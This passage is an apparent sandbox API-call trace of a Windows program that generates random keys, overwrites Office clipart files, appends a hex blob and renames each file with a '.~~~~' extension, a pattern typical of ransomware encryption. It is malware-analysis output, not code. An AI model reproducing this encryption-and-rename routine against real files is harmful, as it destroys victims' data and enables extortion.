	[0100.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862d08
	[0100.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862d08 | out: hHeap=0x300000) returned 1
	[0100.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864c30
	[0100.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.577] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0100.577] GetLastError () returned 0x0
	[0100.578] GetLastError () returned 0x0
	[0100.578] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0100.578] GetLastError () returned 0x0
	[0100.578] GetLastError () returned 0x0
	[0100.634] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffae56, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.634] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x51aa, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x51aa, lpOverlapped=0x0) returned 1
	[0100.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0100.636] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.636] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.636] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.636] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.636] CloseHandle (hObject=0x120) returned 1
	[0100.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.637] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.~~~~")) returned 1
	[0100.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.638] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0100.638] GetLastError () returned 0x0
	[0100.638] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0100.640] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.640] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0100.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0100.640] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22062998845) returned 1
	[0100.640] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa5ab0a50, dwHighDateTime=0x1d60e1e)) 
	[0100.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0100.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0100.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0100.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862d78
	[0100.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862d78 | out: hHeap=0x300000) returned 1
	[0100.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864f28
	[0100.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.641] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0100.641] GetLastError () returned 0x0
	[0100.641] GetLastError () returned 0x0
	[0100.641] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0100.641] GetLastError () returned 0x0
	[0100.641] GetLastError () returned 0x0
	[0100.687] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe518, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.687] WriteFile (in: hFile=0x120, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x1ae8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x24dfec0*=0x1ae8, lpOverlapped=0x0) returned 1
	[0100.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0100.688] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.688] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.688] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.688] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.688] CloseHandle (hObject=0x120) returned 1
	[0100.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.688] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.~~~~")) returned 1
	[0100.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0100.690] GetLastError () returned 0x0
	[0100.690] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0100.691] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.691] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0100.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0100.692] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22068179399) returned 1
	[0100.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa5b48fd0, dwHighDateTime=0x1d60e1e)) 
	[0100.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0100.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0100.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0100.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862e58
	[0100.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862e58 | out: hHeap=0x300000) returned 1
	[0100.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865058
	[0100.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.692] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0100.693] GetLastError () returned 0x0
	[0100.693] GetLastError () returned 0x0
	[0100.693] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0100.693] GetLastError () returned 0x0
	[0100.693] GetLastError () returned 0x0
	[0100.713] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe918, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.714] WriteFile (in: hFile=0x120, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x16e8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x16e8, lpOverlapped=0x0) returned 1
	[0100.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0100.714] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.714] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.715] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.715] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.715] CloseHandle (hObject=0x120) returned 1
	[0100.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2850298
	[0100.715] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.~~~~")) returned 1
	[0100.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2850298 | out: hHeap=0x300000) returned 1
	[0100.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0100.716] GetLastError () returned 0x0
	[0100.716] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0100.717] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.717] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0100.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0100.718] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22070774978) returned 1
	[0100.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa5b6f130, dwHighDateTime=0x1d60e1e)) 
	[0100.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0100.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0100.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0100.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862ec8
	[0100.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862ec8 | out: hHeap=0x300000) returned 1
	[0100.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2850298
	[0100.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28652b8
	[0100.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2850298 | out: hHeap=0x300000) returned 1
	[0100.719] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0100.719] GetLastError () returned 0x0
	[0100.719] GetLastError () returned 0x0
	[0100.719] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0100.719] GetLastError () returned 0x0
	[0100.719] GetLastError () returned 0x0
	[0100.724] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffec14, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.724] WriteFile (in: hFile=0x120, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x13ec, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x13ec, lpOverlapped=0x0) returned 1
	[0100.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0100.725] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.725] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.725] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.725] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.725] CloseHandle (hObject=0x120) returned 1
	[0100.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.726] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.~~~~")) returned 1
	[0100.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0100.727] GetLastError () returned 0x0
	[0100.727] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0100.728] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0100.728] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0100.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0100.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0100.728] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22071844127) returned 1
	[0100.728] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa5b95290, dwHighDateTime=0x1d60e1e)) 
	[0100.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0100.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0100.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0100.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862f38
	[0100.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0100.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862f38 | out: hHeap=0x300000) returned 1
	[0100.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0100.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28653e8
	[0100.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.729] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0100.729] GetLastError () returned 0x0
	[0100.729] GetLastError () returned 0x0
	[0100.730] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0100.730] GetLastError () returned 0x0
	[0100.730] GetLastError () returned 0x0
	[0100.835] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff4a83, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.835] WriteFile (in: hFile=0x120, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xb57d, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0xb57d, lpOverlapped=0x0) returned 1
	[0100.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0100.837] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.837] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.837] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.837] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.837] CloseHandle (hObject=0x120) returned 1
	[0100.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.837] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.~~~~")) returned 1
	[0100.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0100.838] GetLastError () returned 0x0
	[0100.839] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0100.840] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.840] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0100.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0100.840] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22084077754) returned 1
	[0100.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa5cebef0, dwHighDateTime=0x1d60e1e)) 
	[0100.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
